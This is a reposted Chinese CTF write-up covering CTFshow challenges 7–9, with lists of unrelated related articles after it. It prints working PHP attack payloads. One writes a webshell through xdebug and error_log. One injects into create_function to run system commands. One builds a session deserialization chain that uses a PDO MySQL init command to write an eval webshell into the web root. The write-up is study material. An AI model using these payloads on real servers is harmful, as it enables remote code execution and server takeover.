[CTFshow 红包挑战] 刷题记录

news2024/12/16 16:31:44

文章目录

    • 红包挑战7
    • 红包挑战8
    • 红包挑战9


红包挑战7

考点:xdebug拓展

源码

 <?php
highlight_file(__FILE__);
error_reporting(2);

extract($_GET);
ini_set($name,$value);

system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

分析一下
error_reporting(2);这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤

我们简单测试下,发现flag的位置
在这里插入图片描述那么我们的问题就是如何读取

思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本题的路径为/usr/local/lib/php/extensions
在这里插入图片描述读取一下,发现存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在这里插入图片描述结合本题特殊的error_reporting(2),翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在这里插入图片描述访问/hack.php,然后再修改命令即可

在这里插入图片描述

红包挑战8

考点:create_function注入

源码

 <?php
highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下

?name=){}system('tac /flag');//

在这里插入图片描述

红包挑战9

考点:session反序列化

题目是给了附件的

我们先看common.php

<?php

class user{
    public $id;
    public $username;
    private $password;

    public function __toString(){
        return $this->username;
    }


}

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}


class mysql_helper{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
        $this->init();
    }

    public function __wakeup(){
        $this->init();
    }


    private function init(){
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
        try{
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

class application{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=false;

    public function __construct(){
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username,$password){
        $this->loger->user_register($username,$password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username,$password){
        $this->loger->user_login($username,$password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        $ret = $stmt->fetch();
        return $ret['password']===$password;

    }
    public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout(){
        $this->loger->user_logout();
        setCookie("user",NULL);
    }

    private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
    }

}

class userLogger{

    public $username;
    private $password;
    private $filename;

    public function __construct(){
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
        $this->filename = $filename;
    }

    public function __wakeup(){
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}
class dispatcher{

    public function sendMessage($msg){
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route){

        switch($route){
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码

public function getLoginName($name){
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值

我们访问main.php,发现存在调用getLoginName()

<?php

$name =  $app->getLoginName('user');

if($name){
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    include 'login.html';
}

而要想访问main.php调用此方法就要继续看到index.php

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){

    switch ($action) {
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    $app->dispatcher->redirect('main');
}

可以发现启用session_start();(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可

思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类

class cookie_helper{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
        $data = explode('|',$cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}

verify()首先用|将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化

cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);,我们可以将注册的用户名添加一个|,然后拼接的时候就会出现两个|,也就是数量为3实现返回null

注册用户名rev1ve|666,登录得到cookie
在这里插入图片描述然后我们简单构造字符串

<?php

class userLogger{
    public $username="<?php eval(\$_POST[1]);?>";
    private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我们可以访问log.txt看看(带上cookie),发现成功写入
在这里插入图片描述
那么我们getshell的方式就是写马

题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND

连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我们看向mysql_helper类,执行命令如下

public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法

private function log_last_user(){
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
}

往下看,发现debug的值为True才行

public function __destruct(){
       if($this->debug){
            $this->log_last_user();
       }
}

exp如下

<?php
class mysql_helper{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';"
    );
}

class application{
    public $debug=true;
    public $mysql;
}

$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接随便抓包一个界面,修改cookie为我们注册rev1ve|666的,添加payload
在这里插入图片描述
然后成功访问得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1299442.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

visual studio code 好用的插件

vscode-icons Better comments 该插件对不同类型的注释会附加了不同的颜色&#xff0c;更加方便区分&#xff0c;帮助我们在代码中创建更人性化的注释。 Error Lens Error Lens插件是一款可以检测你编写的代码的语法错误&#xff0c;并且会显示出对语法错误的诊断信息…

中科院分区和JCR分区有什么区别

文章目录 名词解释学科划分不同参考的影响因子不同期刊分区不同期刊分区阈值不同 名词解释 中科院分区&#xff1a;又称“中科院JCR分区”&#xff0c;是中国科学院文献情报中心世界科学前沿分析中心的科学研究成果&#xff0c;期刊分区表数据每年底&#xff08;每年12月中下旬…

基于c++版数据结构基于数组栈改-Python思维总结

##栈部分-&#xff08;叠猫猫&#xff09; ##抽象数据类型栈的定义&#xff1a;是一种遵循先入后出的逻辑的线性数据结构。 换种方式去理解这种数据结构如果我们在一摞盘子中取到下面的盘子&#xff0c;我们首先要把最上面的盘子依次拿走&#xff0c;才可以继续拿下面的盘子&…

Java8流式编程详解

简介 java8提供的流式编程使得我们对于集合的处理不再是临时集合加上各种还能for循环&#xff0c;取而代之的是更加简洁高效的流水线操作&#xff0c;所以笔者就以这篇文章总结一下流式编程中常见的操作。 前置铺垫 后文示例操作中&#xff0c;我们都会基于这个菜肴类的集合…

BUUCTF crypto做题记录(3)新手向

目录 一、Rabbit 二、篱笆墙的影子 三、丢失的MD5 四、Alice与Bob 一、Rabbit 得到的密文&#xff1a;U2FsdGVkX1/ydnDPowGbjjJXhZxm2MP2AgI 依旧是看不懂是什么编码&#xff0c;上网搜索&#xff0c;在侧栏发现Rabbit解码&#xff0c;直接搜索就能有在线解码网站 二、篱笆…

【Vue第3章】使用Vue脚手架_Vue2

目录 3.1 初始化脚手架 3.1.1 说明 3.1.2 具体步骤 3.1.3 模板项目的结构 3.1.4 笔记与代码 3.1.4.1 笔记 3.1.4.2 01_src_分析脚手架 3.2 ref与props 3.2.1 ref 3.2.2 props 3.2.3 笔记与代码 3.2.3.1 笔记 3.2.3.2 02_src_ref属性 3.2.3.3 03_src_props配置 3…

【Linux】:线程(二)互斥

互斥与同步 一.线程的局部存储二.线程的分离三.互斥1.一些概念2.上锁3.锁的原理4.死锁 一.线程的局部存储 例子 可以看到全局变量是所有线程共享的&#xff0c;如果我们想要每个线程都单独访问g_val怎么办呢&#xff1f;其实我们可以在它前面加上__thread修饰。 这就相当于把g…

Java面向对象实践小结(含面试题)

继承 作用 提高了代码的复用性。让类与类之间产生了关系。有了这个关系&#xff0c;才有了多态的特性。 代码示范 父类代码 public class Parent {public void say() {System.out.println("父类的say方法");} }子类代码&#xff0c;继承父类&#xff0c;也就拥有…

如何确认网站是否有漏洞,如何找出网站存在的漏洞,找到漏洞该如何处理

如何确认网站或者服务器是否有漏洞 判断一个网站是否是存在漏洞的方法&#xff1a; 1.可以借助德迅云安全漏洞扫描功能来检查漏洞。 2.打开德迅云安全首页&#xff0c;点击最上面导航栏中的“安全产品”。 3.滑到“漏洞扫描”&#xff0c;选择“产品价格”服务。 4.选择您需…

【图像分类】【深度学习】【Pytorch版本】 DenseNet模型算法详解

【图像分类】【深度学习】【Pytorch版本】 DenseNet模型算法详解 文章目录 【图像分类】【深度学习】【Pytorch版本】 DenseNet模型算法详解前言DenseNet讲解Dense Block(稠密块)Dense Layer(稠密层)Transition Layer 过渡层DenseNet模型结构 DenseNet Pytorch代码完整代码附加…

DM8/达梦 数据库管理员使用手册详解

1.1DM客户端存放位置 Windows&#xff1a;DM数据库安装目录中tool文件夹和bin文件夹中。 Linux&#xff1a;DM数据库安装目录中tool目录和bin目录中。 1.2DM数据库配置助手 1.2.1Windows创建数据库 打开数据库配置助手dbca 点击创建数据库实例 选择一般用途 浏览选择数据库…

【基于大数据的人肥胖程度预测分析与可控策略】

基于大数据的人肥胖程度预测分析与可控策略 前言数据获取与清洗数据挖掘与分类建模1. K-means聚类2. 层次聚类3. DBSCAN4. 分类建模 数据可视化模型肥胖程度预测分析与可控策略结语 前言 随着现代生活方式的改变&#xff0c;肥胖问题逐渐成为全球性的健康挑战。为了更好地理解…

湖科大计网:计算机网络概述

一、计算机网络的性能指标 一、速率 有时候数据量也认为是以10为底的&#xff0c;看怎么好算。&#xff08;具体吉大考试用什么待商榷&#xff09; 二、带宽 在模拟信号系统中带宽的含义&#xff0c;本课程中用到的地方是&#xff1a;香农定理和奈奎斯特定理公式的应用之中。 …

未用的引脚如何处理?--持续更新中

前言&#xff1a; 随着集成电路规模的越来越大&#xff0c;如今的大规模芯片都集成了很多功能模块&#xff0c;但是在实际的电路设计中我们又不可能把芯片所有的功能模块(或者说接口)全部用上&#xff0c;因此总会有或多或少的管脚会“用不上”&#xff0c;那这些未用的管脚一般…

maven上传jar包到代码仓库

一、前言 一般被引用的包开发都是要求放在nexus仓库中&#xff0c;等到有jar包服务需要引用该包的时候直接从nexus仓库中获取即可&#xff0c;实现了该引用包的公用 二、代码配置 编辑代码中的pom.xml文件配置 vi pom.xml <distributionManagement><repository>&…

网络安全行业大模型调研总结

随着人工智能技术的发展&#xff0c;安全行业大模型SecLLM&#xff08;security Large Language Model&#xff09;应运而生&#xff0c;可应用于代码漏洞挖掘、安全智能问答、多源情报整合、勒索情报挖掘、安全评估、安全事件研判等场景。 本文首先介绍汇总了安全行业的大模型…

Java、JDK、JRE、JVM

Java、JDK、JRE、JVM 一、 Java 广义上看&#xff0c;Kotlin、JRuby等运行于Java虚拟机上的编程语言以及相关的程序都属于Java体系的一员。从传统意义上看&#xff0c;Java社区规定的Java技术体系包括以下几个部分&#xff1a; Java程序设计语言各种硬件平台上的Java虚拟机实…

Linux 进程终止

引入 在写 C 语言程序的时候&#xff0c;我们必写的结构就是&#xff1a; int main() {return 0; }在学习 C 语言的时候&#xff0c;我们好像并没有讨论过这个 return 0 有什么用&#xff0c;是干什么的&#xff01;return 1 可以吗&#xff1f;return 的返回值给谁看&#x…

英伟达危机大爆发!一夜之间,四面楚歌

今年以来&#xff0c;AI大模型明争暗斗、百花齐放。 但不管各种大模型打的有多厉害&#xff0c;很多人都认为“卖铲子”的英伟达才是最大赢家。 看一下英伟达今年的股票就知道英伟达赚的是多么盆满钵满。 英伟达CEO黄仁勋在发布 H200显卡时&#xff0c;应该是今年最意气风发的…

Swagger2的使用

手写Api文档的几个痛点&#xff1a; 文档需要更新的时候&#xff0c;需要再次发送一份给前端&#xff0c;也就是文档更新交流不及时。 接口返回结果不明确 不能直接在线测试接口&#xff0c;通常需要使用工具&#xff0c;比如postman 接口文档太多&#xff0c;不好管理 Sw…